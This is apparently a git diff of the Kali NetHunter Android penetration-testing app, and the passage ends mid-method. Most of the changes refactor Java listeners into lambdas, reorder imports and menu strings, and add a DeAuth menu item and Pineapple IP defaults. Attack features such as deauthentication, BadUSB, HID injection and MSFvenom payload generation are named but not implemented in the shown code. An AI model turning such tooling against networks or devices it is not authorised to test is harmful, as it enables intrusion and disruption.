diff --git a/build.gradle b/build.gradle index 0914fb6..c1c1f23 100644 --- a/build.gradle +++ b/build.gradle @@ -39,6 +39,7 @@ android { compileSdkVersion 28 buildToolsVersion '28.0.3' + dataBinding { enabled = true } @@ -52,7 +53,8 @@ android { minSdkVersion 17 targetSdkVersion 28 versionCode 22 - versionName "2019.1" + versionName "2019.2" + } sourceSets { diff --git a/gradle/wrapper/gradle-wrapper.properties b/gradle/wrapper/gradle-wrapper.properties index 74c662b..293ceb9 100644 --- a/gradle/wrapper/gradle-wrapper.properties +++ b/gradle/wrapper/gradle-wrapper.properties @@ -1,4 +1,4 @@ -#Thu Jan 24 06:31:27 AEDT 2019 +#Sun Feb 03 12:24:27 EST 2019 distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists zipStoreBase=GRADLE_USER_HOME diff --git a/res/layout/nethunter.xml b/res/layout/nethunter.xml index 00de143..0439cb2 100644 --- a/res/layout/nethunter.xml +++ b/res/layout/nethunter.xml @@ -62,7 +62,7 @@ android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Turn on HID (newer kernels only) " - android:checked="false"/> + android:checked="true"/> + android:text="@string/pineapple_gatewayip" /> + android:text="@string/pineapple_clientip" /> + android:text="@string/pineapple_subnet" /> - + + @@ -28,7 +29,7 @@ + android:title="@string/drawertitlecustomcommands" /> + android:title="@string/drawertitlevncmanager" /> + android:title="@string/drawertitledeauth" /> \ No newline at end of file diff --git a/res/values/strings.xml b/res/values/strings.xml index afd6f57..5c329f7 100644 --- a/res/values/strings.xml +++ b/res/values/strings.xml @@ -210,29 +210,33 @@ Unzipping and untarring.... Something went wrong verifying the downloaded file. Whoops. Try again. The \"chroot\" is a full installation of Kali Linux that shares processing, networking, storage, and other resources with Android. It resides in your internal app storage area and requires about 400MB for the minimal core installation. + Extracting and Deploying - - Nethunter installs and uses a standard Kali Linux distribution \"under the hood\". To support this functionality, some standard Android security features such as Security Enhanced Linux (selinux) are disabled. Moreover, Kali\'s Linux processes may run with full root privileges and can therefore access system functionality well beyond the normal Android security model. Consider therefore that this device, as a hybrid, may not be as secure as either standard Kali Linux OR standard Android, and you are advised not to install or use Nethunter on \"daily driver\" devices or devices which store or access sensitive/private data. + Nethunter installs and uses a standard Kali Linux distribution \"under the hood\". To support this functionality, some standard Android security features such as Security Enhanced Linux (SELinux) are disabled. Moreover, Kali\'s Linux processes may run with full root privileges and can therefore access system functionality well beyond the normal Android security model. Consider therefore that this device, as a hybrid, may not be as secure as either standard Kali Linux OR standard Android, and you are advised not to install or use Nethunter on \"daily driver\" devices or devices which store or access sensitive/private data. Unknown Status: Nethunter is licensed under the GPLv2 and source is available at github.com/offensive-security. Some icons are licensed from Google, Inc. under CC BY 4.0. Android-WVersionManager and jTar is licensed under Apache 2.0. + Attack launched! Home Kali Chroot Manager + Check App Update Kali Services + Custom Commands + MAC Changer + VNC Manager HID Attacks DuckHunter HID Bad USB MITM Attack Mana Wireless Toolkit - MAC Changer - Metasploit Payload Generator MITM Framework - Check App Update - SearchSploit Nmap Scan + Metasploit Payload Generator + SearchSploit Pineapple Connector Wardriving + DeAuth Choose some \"metapackages\". The chroot will also be upgraded (via \"apt-get update/dist-upgrade\").\n\nSelecting metapackages you already have installed (or no packages at all) simply update/upgrades without removing anything.\n\nDepending on what metapackages you select, you may be asked to do stuff (such as set passwords for services), so pay attention. Local storage requirements may be in the 20+ GB range. This installation/update will be performed in a terminal, so watch for issues. When completed, press the back button. @@ -247,7 +251,7 @@ Ignore current - Msfvenom Payload Creator (MPC) is a wrapper written by g0tmi1k to generate multiple types of payloads, based on users choice. The idea is to be as simple as possible (only requiring one input) to produce their payload. + MSFvenom Payload Creator (MSFPC) is a wrapper written by g0tmi1k to generate multiple types of payloads, based on users choice. The idea is to be as simple as possible (only requiring one input) to produce their payload. Type: ASP @@ -362,6 +366,10 @@ Close Connection No upstream Forward port 80/443 to 8080/8083 + 172.16.42.0/24 + 1471 + 172.16.42.1 + 172.16.42.42/24 @@ -388,6 +396,4 @@ Boot Notification for run at boot services - - diff --git a/src/com/offsec/nethunter/AppNavHomeActivity.java b/src/com/offsec/nethunter/AppNavHomeActivity.java index d6274b9..5d3e534 100644 --- a/src/com/offsec/nethunter/AppNavHomeActivity.java +++ b/src/com/offsec/nethunter/AppNavHomeActivity.java @@ -5,7 +5,6 @@ import android.app.NotificationManager; import android.content.ComponentName; import android.content.Context; -import android.content.DialogInterface; import android.content.Intent; import android.content.ServiceConnection; import android.content.SharedPreferences; @@ -13,27 +12,15 @@ import android.os.Build; import android.os.Bundle; import android.os.IBinder; -import androidx.annotation.NonNull; -import com.google.android.material.floatingactionbutton.FloatingActionButton; -import com.google.android.material.navigation.NavigationView; -import androidx.core.app.ActivityCompat; -import androidx.fragment.app.FragmentManager; -import androidx.core.content.ContextCompat; -import androidx.core.view.GravityCompat; -import androidx.drawerlayout.widget.DrawerLayout; -import androidx.appcompat.app.ActionBar; -import androidx.appcompat.app.ActionBarDrawerToggle; -import androidx.appcompat.app.AlertDialog; -import androidx.appcompat.app.AppCompatActivity; import android.util.Log; import android.view.LayoutInflater; import android.view.Menu; import android.view.MenuItem; -import android.view.MotionEvent; -import android.view.View; import android.widget.LinearLayout; import android.widget.TextView; +import com.google.android.material.floatingactionbutton.FloatingActionButton; +import com.google.android.material.navigation.NavigationView; import com.offsec.nethunter.gps.KaliGPSUpdates; import com.offsec.nethunter.gps.LocationUpdateService; import com.offsec.nethunter.utils.CheckForRoot; @@ -43,6 +30,17 @@ import java.util.Locale; import java.util.Stack; +import androidx.annotation.NonNull; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.ActionBarDrawerToggle; +import androidx.appcompat.app.AlertDialog; +import androidx.appcompat.app.AppCompatActivity; +import androidx.core.app.ActivityCompat; +import androidx.core.content.ContextCompat; +import androidx.core.view.GravityCompat; +import androidx.drawerlayout.widget.DrawerLayout; +import androidx.fragment.app.FragmentManager; + public class AppNavHomeActivity extends AppCompatActivity implements KaliGPSUpdates.Provider { public final static String TAG = "AppNavHomeActivity"; @@ -91,21 +89,18 @@ protected void onCreate(Bundle savedInstanceState) { ab.setHomeButtonEnabled(true); ab.setDisplayHomeAsUpEnabled(true); } - mDrawerLayout = (DrawerLayout) findViewById(R.id.drawer_layout); + mDrawerLayout = findViewById(R.id.drawer_layout); - navigationView = (NavigationView) findViewById(R.id.navigation_view); + navigationView = findViewById(R.id.navigation_view); LayoutInflater inflater = (LayoutInflater) getSystemService(Context.LAYOUT_INFLATER_SERVICE); LinearLayout navigationHeadView = (LinearLayout) inflater.inflate(R.layout.sidenav_header, null); navigationView.addHeaderView(navigationHeadView); - FloatingActionButton readmeButton = (FloatingActionButton) navigationHeadView.findViewById(R.id.info_fab); - readmeButton.setOnTouchListener(new View.OnTouchListener() { - @Override - public boolean onTouch(View v, MotionEvent event) { - //checkUpdate(); - showLicense(); - return false; - } + FloatingActionButton readmeButton = navigationHeadView.findViewById(R.id.info_fab); + readmeButton.setOnTouchListener((v, event) -> { + //checkUpdate(); + showLicense(); + return false; }); /// moved build info to the menu @@ -115,8 +110,8 @@ public boolean onTouch(View v, MotionEvent event) { prefs = getSharedPreferences("com.offsec.nethunter", Context.MODE_PRIVATE); final String buildTime = sdf.format(BuildConfig.BUILD_TIME); - TextView buildInfo1 = (TextView) navigationHeadView.findViewById(R.id.buildinfo1); - TextView buildInfo2 = (TextView) navigationHeadView.findViewById(R.id.buildinfo2); + TextView buildInfo1 = navigationHeadView.findViewById(R.id.buildinfo1); + TextView buildInfo2 = navigationHeadView.findViewById(R.id.buildinfo2); buildInfo1.setText(String.format("Version: %s (%s)", BuildConfig.VERSION_NAME, Build.TAGS)); buildInfo2.setText(String.format("Built by %s at %s", BuildConfig.BUILD_NAME, buildTime)); @@ -156,12 +151,9 @@ public boolean onTouch(View v, MotionEvent event) { mDrawerLayout, R.string.drawer_opened, R.string.drawer_closed); mDrawerLayout.setDrawerListener(mDrawerToggle); - mDrawerLayout.setOnFocusChangeListener(new View.OnFocusChangeListener() { - @Override - public void onFocusChange(View v, boolean hasFocus) { - if (!hasFocus) { - setDrawerOptions(); - } + mDrawerLayout.setOnFocusChangeListener((v, hasFocus) -> { + if (!hasFocus) { + setDrawerOptions(); } }); mDrawerToggle.syncState(); @@ -214,12 +206,7 @@ private void showLicense() { AlertDialog.Builder adb = new AlertDialog.Builder(this); adb.setTitle("README INFO") .setMessage(readmeData) - .setNegativeButton("Close", new DialogInterface.OnClickListener() { - @Override - public void onClick(DialogInterface dialog, int which) { - dialog.cancel(); - } - }); //nhwarning + .setNegativeButton("Close", (dialog, which) -> dialog.cancel()); //nhwarning AlertDialog ad = adb.create(); ad.setCancelable(false); ad.getWindow().getAttributes().windowAnimations = R.style.DialogStyle; @@ -246,164 +233,161 @@ public boolean onOptionsItemSelected(MenuItem item) { private void setupDrawerContent(NavigationView navigationView) { navigationView.setNavigationItemSelectedListener( - new NavigationView.OnNavigationItemSelectedListener() { - @Override - public boolean onNavigationItemSelected(@NonNull MenuItem menuItem) { - // only change it if is no the same as the last one - if (lastSelected != menuItem) { - //remove last - lastSelected.setChecked(false); - // udpate for the next - lastSelected = menuItem; - } - //set checked - menuItem.setChecked(true); - mDrawerLayout.closeDrawers(); - mTitle = menuItem.getTitle(); - titles.push(mTitle.toString()); - - FragmentManager fragmentManager = getSupportFragmentManager(); - int itemId = menuItem.getItemId(); - switch (itemId) { - case R.id.nethunter_item: - fragmentManager - .beginTransaction() - .replace(R.id.container, NetHunterFragment.newInstance(itemId)) - .addToBackStack(null) - .commit(); - break; - /* - case R.id.kalilauncher_item: - fragmentManager - .beginTransaction() - .replace(R.id.container, KaliLauncherFragment.newInstance(itemId)) - .addToBackStack(null) - .commit(); - break; - */ - case R.id.deauth_item: - fragmentManager - .beginTransaction() - .replace(R.id.container, DeAuthFragment.newInstance(itemId)) - .addToBackStack(null) - .commit(); - break; - case R.id.kaliservices_item: - fragmentManager - .beginTransaction() - .replace(R.id.container, KaliServicesFragment.newInstance(itemId)) - .addToBackStack(null) - .commit(); - break; - - case R.id.custom_commands_item: - fragmentManager - .beginTransaction() - .replace(R.id.container, CustomCommandsFragment.newInstance(itemId)) - .addToBackStack(null) - .commit(); - break; - - case R.id.hid_item: - fragmentManager - .beginTransaction() - .replace(R.id.container, HidFragment.newInstance(itemId)) - .addToBackStack(null) - .commit(); - break; - case R.id.duckhunter_item: - fragmentManager - .beginTransaction() - .replace(R.id.container, DuckHunterFragment.newInstance(itemId)) - .addToBackStack(null) - .commit(); - break; - case R.id.badusb_item: - fragmentManager - .beginTransaction() - .replace(R.id.container, BadusbFragment.newInstance(itemId)) - .addToBackStack(null) - .commit(); - break; - case R.id.mana_item: - fragmentManager - .beginTransaction() - .replace(R.id.container, ManaFragment.newInstance(itemId)) - .addToBackStack(null) - .commit(); - break; - case R.id.macchanger_item: - fragmentManager - .beginTransaction() - .replace(R.id.container, MacchangerFragment.newInstance(itemId)) - .addToBackStack(null) - .commit(); - break; - case R.id.createchroot_item: - fragmentManager - .beginTransaction() - .replace(R.id.container, ChrootManagerFragment.newInstance(itemId)) - .addToBackStack(null) - .commit(); - break; - case R.id.mpc_item: - fragmentManager - .beginTransaction() - .replace(R.id.container, MPCFragment.newInstance(itemId)) - .addToBackStack(null) - .commit(); - break; - case R.id.mitmf_item: - fragmentManager - .beginTransaction() - .replace(R.id.container, MITMfFragment.newInstance(itemId)) - .addToBackStack(null) - .commit(); - break; - case R.id.vnc_item: - fragmentManager - .beginTransaction() - .replace(R.id.container, VNCFragment.newInstance(itemId)) - .addToBackStack(null) - .commit(); - break; - case R.id.searchsploit_item: - fragmentManager - .beginTransaction() - .replace(R.id.container, SearchSploitFragment.newInstance(itemId)) - .addToBackStack(null) - .commit(); - break; - case R.id.nmap_item: - fragmentManager - .beginTransaction() - .replace(R.id.container, NmapFragment.newInstance(itemId)) - .addToBackStack(null) - .commit(); - break; - case R.id.pineapple_item: - fragmentManager - .beginTransaction() - .replace(R.id.container, PineappleFragment.newInstance(itemId)) - .addToBackStack(null) - .commit(); - break; - - case R.id.gps_item: - fragmentManager - .beginTransaction() - .replace(R.id.container, KaliGpsServiceFragment.newInstance(itemId)) - .addToBackStack(null) - .commit(); - break; - - case R.id.checkforupdate_item: - checkUpdate(); - break; - } - restoreActionBar(); - return true; + menuItem -> { + // only change it if is no the same as the last one + if (lastSelected != menuItem) { + //remove last + lastSelected.setChecked(false); + // update for the next + lastSelected = menuItem; + } + //set checked + menuItem.setChecked(true); + mDrawerLayout.closeDrawers(); + mTitle = menuItem.getTitle(); + titles.push(mTitle.toString()); + + FragmentManager fragmentManager = getSupportFragmentManager(); + int itemId = menuItem.getItemId(); + switch (itemId) { + case R.id.nethunter_item: + fragmentManager + .beginTransaction() + .replace(R.id.container, NetHunterFragment.newInstance(itemId)) + .addToBackStack(null) + .commit(); + break; + /* + case R.id.kalilauncher_item: + fragmentManager + .beginTransaction() + .replace(R.id.container, KaliLauncherFragment.newInstance(itemId)) + .addToBackStack(null) + .commit(); + break; + */ + case R.id.deauth_item: + fragmentManager + .beginTransaction() + .replace(R.id.container, DeAuthFragment.newInstance(itemId)) + .addToBackStack(null) + .commit(); + break; + case R.id.kaliservices_item: + fragmentManager + .beginTransaction() + .replace(R.id.container, KaliServicesFragment.newInstance(itemId)) + .addToBackStack(null) + .commit(); + break; + + case R.id.custom_commands_item: + fragmentManager + .beginTransaction() + .replace(R.id.container, CustomCommandsFragment.newInstance(itemId)) + .addToBackStack(null) + .commit(); + break; + + case R.id.hid_item: + fragmentManager + .beginTransaction() + .replace(R.id.container, HidFragment.newInstance(itemId)) + .addToBackStack(null) + .commit(); + break; + case R.id.duckhunter_item: + fragmentManager + .beginTransaction() + .replace(R.id.container, DuckHunterFragment.newInstance(itemId)) + .addToBackStack(null) + .commit(); + break; + case R.id.badusb_item: + fragmentManager + .beginTransaction() + .replace(R.id.container, BadusbFragment.newInstance(itemId)) + .addToBackStack(null) + .commit(); + break; + case R.id.mana_item: + fragmentManager + .beginTransaction() + .replace(R.id.container, ManaFragment.newInstance(itemId)) + .addToBackStack(null) + .commit(); + break; + case R.id.macchanger_item: + fragmentManager + .beginTransaction() + .replace(R.id.container, MacchangerFragment.newInstance(itemId)) + .addToBackStack(null) + .commit(); + break; + case R.id.createchroot_item: + fragmentManager + .beginTransaction() + .replace(R.id.container, ChrootManagerFragment.newInstance(itemId)) + .addToBackStack(null) + .commit(); + break; + case R.id.mpc_item: + fragmentManager + .beginTransaction() + .replace(R.id.container, MPCFragment.newInstance(itemId)) + .addToBackStack(null) + .commit(); + break; + case R.id.mitmf_item: + fragmentManager + .beginTransaction() + .replace(R.id.container, MITMfFragment.newInstance(itemId)) + .addToBackStack(null) + .commit(); + break; + case R.id.vnc_item: + fragmentManager + .beginTransaction() + .replace(R.id.container, VNCFragment.newInstance(itemId)) + .addToBackStack(null) + .commit(); + break; + case R.id.searchsploit_item: + fragmentManager + .beginTransaction() + .replace(R.id.container, SearchSploitFragment.newInstance(itemId)) + .addToBackStack(null) + .commit(); + break; + case R.id.nmap_item: + fragmentManager + .beginTransaction() + .replace(R.id.container, NmapFragment.newInstance(itemId)) + .addToBackStack(null) + .commit(); + break; + case R.id.pineapple_item: + fragmentManager + .beginTransaction() + .replace(R.id.container, PineappleFragment.newInstance(itemId)) + .addToBackStack(null) + .commit(); + break; + + case R.id.gps_item: + fragmentManager + .beginTransaction() + .replace(R.id.container, KaliGpsServiceFragment.newInstance(itemId)) + .addToBackStack(null) + .commit(); + break; + + case R.id.checkforupdate_item: + checkUpdate(); + break; } + restoreActionBar(); + return true; }); } diff --git a/src/com/offsec/nethunter/BadusbFragment.java b/src/com/offsec/nethunter/BadusbFragment.java index c59099d..9fc792d 100644 --- a/src/com/offsec/nethunter/BadusbFragment.java +++ b/src/com/offsec/nethunter/BadusbFragment.java @@ -4,7 +4,6 @@ import android.content.Intent; import android.os.Build; import android.os.Bundle; -import androidx.fragment.app.Fragment; import android.view.LayoutInflater; import android.view.Menu; import android.view.MenuInflater; @@ -20,6 +19,8 @@ import java.util.regex.Matcher; import java.util.regex.Pattern; +import androidx.fragment.app.Fragment; + public class BadusbFragment extends Fragment { private String sourcePath; @@ -43,12 +44,8 @@ public static BadusbFragment newInstance(int sectionNumber) { public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View rootView = inflater.inflate(R.layout.badusb, container, false); loadOptions(rootView); - final Button button = (Button) rootView.findViewById(R.id.updateOptions); - button.setOnClickListener(new View.OnClickListener() { - public void onClick(View v) { - updateOptions(); - } - }); + final Button button = rootView.findViewById(R.id.updateOptions); + button.setOnClickListener(v -> updateOptions()); setHasOptionsMenu(true); return rootView; @@ -75,23 +72,18 @@ public void onResume() { } private void loadOptions(View rootView) { - final EditText ifc = (EditText) rootView.findViewById(R.id.ifc); - new Thread(new Runnable() { - public void run() { - final String text = exe.ReadFile_SYNC(sourcePath); - ifc.post(new Runnable() { - @Override - public void run() { - String regExpatInterface = "^INTERFACE=(.*)$"; - Pattern pattern = Pattern.compile(regExpatInterface, Pattern.MULTILINE); - Matcher matcher = pattern.matcher(text); - if (matcher.find()) { - String ifcValue = matcher.group(1); - ifc.setText(ifcValue); - } - } - }); - } + final EditText ifc = rootView.findViewById(R.id.ifc); + new Thread(() -> { + final String text = exe.ReadFile_SYNC(sourcePath); + ifc.post(() -> { + String regExpatInterface = "^INTERFACE=(.*)$"; + Pattern pattern = Pattern.compile(regExpatInterface, Pattern.MULTILINE); + Matcher matcher = pattern.matcher(text); + if (matcher.find()) { + String ifcValue = matcher.group(1); + ifc.setText(ifcValue); + } + }); }).start(); } @@ -121,7 +113,7 @@ public boolean onOptionsItemSelected(MenuItem item) { private void updateOptions() { String sourceFile = exe.ReadFile_SYNC(sourcePath); - EditText ifc = (EditText) getActivity().findViewById(R.id.ifc); + EditText ifc = getActivity().findViewById(R.id.ifc); sourceFile = sourceFile.replaceAll("(?m)^INTERFACE=(.*)$", "INTERFACE=" + ifc.getText().toString()); Boolean r = exe.SaveFileContents(sourceFile, sourcePath);// 1st arg contents, 2nd arg filepath if (r) { diff --git a/src/com/offsec/nethunter/ChrootManagerFragment.java b/src/com/offsec/nethunter/ChrootManagerFragment.java index b783ac3..07dbc6b 100644 --- a/src/com/offsec/nethunter/ChrootManagerFragment.java +++ b/src/com/offsec/nethunter/ChrootManagerFragment.java @@ -12,9 +12,6 @@ import android.os.Bundle; import android.os.Environment; import android.os.PowerManager; -import androidx.fragment.app.Fragment; -import androidx.core.app.NotificationCompat; -import androidx.appcompat.app.AlertDialog; import android.text.Html; import android.text.method.ScrollingMovementMethod; import android.util.Log; @@ -58,6 +55,10 @@ import javax.net.ssl.HttpsURLConnection; +import androidx.appcompat.app.AlertDialog; +import androidx.core.app.NotificationCompat; +import androidx.fragment.app.Fragment; + import static android.content.Context.POWER_SERVICE; /** @@ -85,11 +86,11 @@ public class ChrootManagerFragment extends Fragment { - private static final String ARG_SECTION_NUMBER = "section_number"; - private static final String TAG = "CreateChroot"; public static final String MIGRATE_CHROOT_TAG = "MIGRATE_CHROOT_TAG"; public static final String DELETE_CHROOT_TAG = "DELETE_CHROOT_TAG"; public static final String CHROOT_INSTALLED_TAG = "CHROOT_INSTALLED_TAG"; + private static final String ARG_SECTION_NUMBER = "section_number"; + private static final String TAG = "CreateChroot"; /* put chroot info here */ private static final String IMAGE_SERVER = "https://images.offensive-security.com/"; @@ -98,7 +99,13 @@ public class ChrootManagerFragment extends Fragment { private static final String URI_MINIMAL = IMAGE_SERVER + FILENAME_MINIMAL; private static final String URI_FULL = IMAGE_SERVER + FILENAME_FULL; - + private final ShellExecuter x = new ShellExecuter(); + /* Certificate pinning + openssl s_client -showcerts -connect images.offensive-security.com:443 /dev/null|openssl x509 -outform PEM >mycertfile.pem + Generated by tools/pin.py + @ https://github.com/moxie0/AndroidPinning + */ + private final String[] pins = new String[]{"58abb6b0e372476d592d43893fafb327e3aca769"}; private String SHA512_MINIMAL; private String SHA512_FULL; private String SHA512; @@ -110,39 +117,30 @@ public class ChrootManagerFragment extends Fragment { private TextView statusText; private Button installButton; private Button updateButton; - - private final ShellExecuter x = new ShellExecuter(); private ProgressDialog pd; private SharedPreferences sharedpreferences; private AlertDialog ad; private NhPaths nh; - /* Certificate pinning - openssl s_client -showcerts -connect images.offensive-security.com:443 /dev/null|openssl x509 -outform PEM >mycertfile.pem - Generated by tools/pin.py - @ https://github.com/moxie0/AndroidPinning - */ - private final String[] pins = new String[]{"58abb6b0e372476d592d43893fafb327e3aca769"}; + public static ChrootManagerFragment newInstance(int sectionNumber) { + ChrootManagerFragment fragment = new ChrootManagerFragment(); + Bundle args = new Bundle(); + args.putInt(ARG_SECTION_NUMBER, sectionNumber); + fragment.setArguments(args); + return fragment; + } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { nh = new NhPaths(); View rootView = inflater.inflate(R.layout.createchroot, container, false); - statusText = (TextView) rootView.findViewById(R.id.statusText); + statusText = rootView.findViewById(R.id.statusText); statusText.setMovementMethod(new ScrollingMovementMethod()); - installButton = (Button) rootView.findViewById(R.id.installButton); - installButton.setOnClickListener(new View.OnClickListener() { - public void onClick(View v) { - onButtonHit(); - } - }); + installButton = rootView.findViewById(R.id.installButton); + installButton.setOnClickListener(v -> onButtonHit()); installButton.setText("Checking..."); - updateButton = (Button) rootView.findViewById(R.id.upgradechrootbutton); - updateButton.setOnClickListener(new View.OnClickListener() { - public void onClick(View v) { - addMetaPackages(); - } - }); + updateButton = rootView.findViewById(R.id.upgradechrootbutton); + updateButton.setOnClickListener(v -> addMetaPackages()); updateButton.setVisibility(View.GONE); sharedpreferences = getActivity().getSharedPreferences("com.offsec.nethunter", Context.MODE_PRIVATE); @@ -153,14 +151,6 @@ public void onClick(View v) { return rootView; } - public static ChrootManagerFragment newInstance(int sectionNumber) { - ChrootManagerFragment fragment = new ChrootManagerFragment(); - Bundle args = new Bundle(); - args.putInt(ARG_SECTION_NUMBER, sectionNumber); - fragment.setArguments(args); - return fragment; - } - @Override public void onActivityCreated(Bundle savedInstanceState) { // which chroot? @@ -173,46 +163,31 @@ private void checkforLegacyChroot() { if (getActivity() != null) { final View mView = getView(); - new Thread(new Runnable() { - - public void run() { - String oldchrootcheck = "if [ -d " + nh.OLD_CHROOT_PATH + " ];then echo 1; fi"; // look for old chroot - String newchrootcheck = "if [ -d " + nh.CHROOT_PATH + " ];then echo 1; fi"; //check the dir existence - final String _res = x.RunAsRootOutput(oldchrootcheck); - final String _res2 = x.RunAsRootOutput(newchrootcheck); - - if (mView != null) { - mView.post(new Runnable() { - @Override - public void run() { - if (_res.equals("1") && !_res2.equals("1")) { - // old chroot but not new one - AlertDialog.Builder adb = new AlertDialog.Builder(getActivity()); - adb.setTitle(R.string.legacychroottitle) - .setMessage(R.string.legacychrootmessage) - .setPositiveButton(R.string.legacychrootposbutton, new DialogInterface.OnClickListener() { - @Override - public void onClick(DialogInterface dialog, int which) { - dialog.cancel(); - startMigrateRoot(); - } - }) - .setNegativeButton(R.string.legacychrootnegbutton, new DialogInterface.OnClickListener() { - @Override - public void onClick(DialogInterface dialog, int which) { - dialog.cancel(); - } - }); - AlertDialog ad = adb.create(); - ad.setCancelable(false); - ad.show(); - } else { - checkForExistingChroot(); - } - } - }); - } + new Thread(() -> { + String oldchrootcheck = "if [ -d " + nh.OLD_CHROOT_PATH + " ];then echo 1; fi"; // look for old chroot + String newchrootcheck = "if [ -d " + nh.CHROOT_PATH + " ];then echo 1; fi"; //check the dir existence + final String _res = x.RunAsRootOutput(oldchrootcheck); + final String _res2 = x.RunAsRootOutput(newchrootcheck); + if (mView != null) { + mView.post(() -> { + if (_res.equals("1") && !_res2.equals("1")) { + // old chroot but not new one + AlertDialog.Builder adb = new AlertDialog.Builder(getActivity()); + adb.setTitle(R.string.legacychroottitle) + .setMessage(R.string.legacychrootmessage) + .setPositiveButton(R.string.legacychrootposbutton, (dialog, which) -> { + dialog.cancel(); + startMigrateRoot(); + }) + .setNegativeButton(R.string.legacychrootnegbutton, (dialog, which) -> dialog.cancel()); + AlertDialog ad = adb.create(); + ad.setCancelable(false); + ad.show(); + } else { + checkForExistingChroot(); + } + }); } }).start(); @@ -234,11 +209,7 @@ private void startMigrateRoot() { editor.apply(); // don't use apply() or it may not save try { new android.os.Handler().postDelayed( - new Runnable() { - public void run() { - x.RunAsRootOutput("reboot"); - } - }, 4000); + () -> x.RunAsRootOutput("reboot"), 4000); } catch (RuntimeException e) { Log.d(TAG, "Error: ", e); } @@ -249,41 +220,34 @@ private void checkForExistingChroot() { // does chroot directory exist? if (getActivity() != null) { statusLog(getActivity().getString(R.string.checkingforchroot) + nh.CHROOT_PATH); - new Thread(new Runnable() { - - public void run() { - String command = "if [ -d " + nh.CHROOT_PATH + " ];then echo 1; fi"; //check the dir existence - final String _res = x.RunAsRootOutput(command); - installButton.post(new Runnable() { - @Override - public void run() { - SharedPreferences.Editor editor = sharedpreferences.edit(); - - if (_res.equals("1")) { - statusLog(getActivity().getString(R.string.existingchrootfound)); - installButton.setText(getActivity().getResources().getString(R.string.removekalichrootbutton)); - installButton.setEnabled(true); - updateButton.setVisibility(View.VISIBLE); - editor.putBoolean(CHROOT_INSTALLED_TAG, true); - editor.apply(); - } else { - // chroot not found - statusLog(getActivity().getString(R.string.nokalichrootfound)); - x.RunAsRootOutput("mkdir -p " + nh.NH_SYSTEM_PATH); - // prevents muts 'dirty' install issue /nhsystem is nethunter property. - statusLog("Cleaning install directory"); - x.RunAsRootOutput("rm -rf " + nh.NH_SYSTEM_PATH + "/*"); - installButton.setText(getActivity().getResources().getString(R.string.installkalichrootbutton)); - installButton.setEnabled(true); - updateButton.setVisibility(View.GONE); - editor.putBoolean(CHROOT_INSTALLED_TAG, false); - editor.commit(); - } - // don't use apply() or it may not save - } - }); - - } + new Thread(() -> { + String command = "if [ -d " + nh.CHROOT_PATH + " ];then echo 1; fi"; //check the dir existence + final String _res = x.RunAsRootOutput(command); + installButton.post(() -> { + SharedPreferences.Editor editor = sharedpreferences.edit(); + + if (_res.equals("1")) { + statusLog(getActivity().getString(R.string.existingchrootfound)); + installButton.setText(getActivity().getResources().getString(R.string.removekalichrootbutton)); + installButton.setEnabled(true); + updateButton.setVisibility(View.VISIBLE); + editor.putBoolean(CHROOT_INSTALLED_TAG, true); + editor.apply(); + } else { + // chroot not found + statusLog(getActivity().getString(R.string.nokalichrootfound)); + x.RunAsRootOutput("mkdir -p " + nh.NH_SYSTEM_PATH); + // prevents muts 'dirty' install issue /nhsystem is nethunter property. + statusLog("Cleaning install directory"); + x.RunAsRootOutput("rm -rf " + nh.NH_SYSTEM_PATH + "/*"); + installButton.setText(getActivity().getResources().getString(R.string.installkalichrootbutton)); + installButton.setEnabled(true); + updateButton.setVisibility(View.GONE); + editor.putBoolean(CHROOT_INSTALLED_TAG, false); + editor.commit(); + } + // don't use apply() or it may not save + }); }).start(); } @@ -293,39 +257,34 @@ private void onButtonHit() { shouldLog = true; installButton.setEnabled(false); statusLog("New instalation log file: " + installLogFile); - new Thread(new Runnable() { - public void run() { - String command = "if [ -d " + nh.CHROOT_PATH + " ];then echo 1; fi"; //check the dir existence - final String _res = x.RunAsRootOutput(command); - installButton.post(new Runnable() { - @Override - public void run() { - if (_res.equals("1")) { - // the chroot is there. - AlertDialog.Builder adb = new AlertDialog.Builder(getActivity()); - adb.setTitle(getActivity().getString(R.string.reallyremovechroot)); - adb.setMessage(getActivity().getString(R.string.nogoingback)); - adb.setPositiveButton(getActivity().getString(R.string.rebootbutton), new DialogInterface.OnClickListener() { - @Override - public void onClick(DialogInterface dialog, int which) { - reallyWipeRoot(); - } - }); - adb.setNegativeButton(getActivity().getString(R.string.chickenoutbutton), new DialogInterface.OnClickListener() { - @Override - public void onClick(DialogInterface dialog, int which) { - installButton.setEnabled(true); - } - }); - AlertDialog ad = adb.create(); - ad.setCancelable(false); - ad.show(); - } else { - downloadOrSdcard(); + new Thread(() -> { + String command = "if [ -d " + nh.CHROOT_PATH + " ];then echo 1; fi"; //check the dir existence + final String _res = x.RunAsRootOutput(command); + installButton.post(() -> { + if (_res.equals("1")) { + // the chroot is there. + AlertDialog.Builder adb = new AlertDialog.Builder(getActivity()); + adb.setTitle(getActivity().getString(R.string.reallyremovechroot)); + adb.setMessage(getActivity().getString(R.string.nogoingback)); + adb.setPositiveButton(getActivity().getString(R.string.rebootbutton), new DialogInterface.OnClickListener() { + @Override + public void onClick(DialogInterface dialog, int which) { + reallyWipeRoot(); } - } - }); - } + }); + adb.setNegativeButton(getActivity().getString(R.string.chickenoutbutton), new DialogInterface.OnClickListener() { + @Override + public void onClick(DialogInterface dialog, int which) { + installButton.setEnabled(true); + } + }); + AlertDialog ad = adb.create(); + ad.setCancelable(false); + ad.show(); + } else { + downloadOrSdcard(); + } + }); }).start(); } @@ -334,19 +293,13 @@ private void downloadOrSdcard() { AlertDialog.Builder adb = new AlertDialog.Builder(getActivity()); adb.setTitle("Select Chroot install mode:") .setMessage("Download is the prefered mode. Get the latest chroot from the offsec servers.\n\n Also you can place a custom\nkalifs-[minimal|full].tar.xz in /sdcard\nand skip the download.") - .setNeutralButton("Use SdCard", new DialogInterface.OnClickListener() { - @Override - public void onClick(DialogInterface dialog, int which) { - dialog.cancel(); - fullOrMinimal(false); - } + .setNeutralButton("Use SdCard", (dialog, which) -> { + dialog.cancel(); + fullOrMinimal(false); }) - .setPositiveButton("Download Latest", new DialogInterface.OnClickListener() { - @Override - public void onClick(DialogInterface dialog, int which) { - dialog.cancel(); - fullOrMinimal(true); - } + .setPositiveButton("Download Latest", (dialog, which) -> { + 